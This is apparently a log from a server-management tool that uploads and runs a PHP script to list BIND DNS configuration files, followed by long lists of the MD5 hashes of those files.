MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:56:01: Establishing a connection
2026-04-22 22:56:01: 

PUT: /tmp/pkp276782

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:56:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp276782; rm /tmp/pkp276782'

2026-04-22 22:56:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
